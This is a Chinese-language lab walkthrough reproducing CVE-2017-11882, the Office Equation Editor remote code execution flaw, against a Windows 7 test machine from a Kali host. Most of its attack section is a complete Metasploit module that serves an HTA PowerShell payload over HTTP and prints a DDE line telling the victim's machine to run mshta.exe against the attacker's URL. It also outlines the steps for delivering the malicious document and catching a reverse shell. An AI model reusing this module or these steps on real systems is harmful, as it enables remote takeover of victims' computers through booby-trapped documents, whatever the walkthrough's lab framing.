一、CVE-2017-11882 —— 類型:Office 代碼遠程執行漏洞
CVE-2017-11882 是 一 個Office 遠程代碼執行的漏洞。該漏洞位於EQNEDT32.EXE(Microsoft 公式編輯器),這個組件首發於 Microsoft Office2000 和 Microsoft 2003, 用於在文檔中插入和編輯方程式,EQNEDT32.EXE 在 17 年 前 編譯後再未更改。雖然從 MicrosoftOffice 2007 開始,顯示和編輯方程的方法發生了變化,但是爲了保持版本兼容性,EQNEDT32.EXE 並沒有從 Office 套件中刪除。盜個圖如下:
二、準備
攻擊機:kali-2019 192.168.75.146
靶機:win7_x86(關閉防火牆) 192.168.75.139
三、復現過程
1、下載 exp,生成漏洞驗證文檔 calc.doc
將 calc.doc 放到靶機中打開,彈出計算器說明漏洞存在
2、生成 payload 文檔,發送到靶機
3、將下面內容保存成 PS_shell.rb 文件,並放到 msf 的腳本目錄下,比如我新建了一個 wtf 目錄,放在了這下面
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
4、啓動 msf,執行 reload_all 從新加載一下攻擊模塊,可以多重複幾遍,有時候卡的加載不粗來。PS_shell 加載成功後執行如下命令,準備接受反彈 shell
5、靶機打開 test.doc,攻擊機 getshell
四、技術細節
參考:
https://blog.csdn.net/yiyiiyiy/article/details/78623873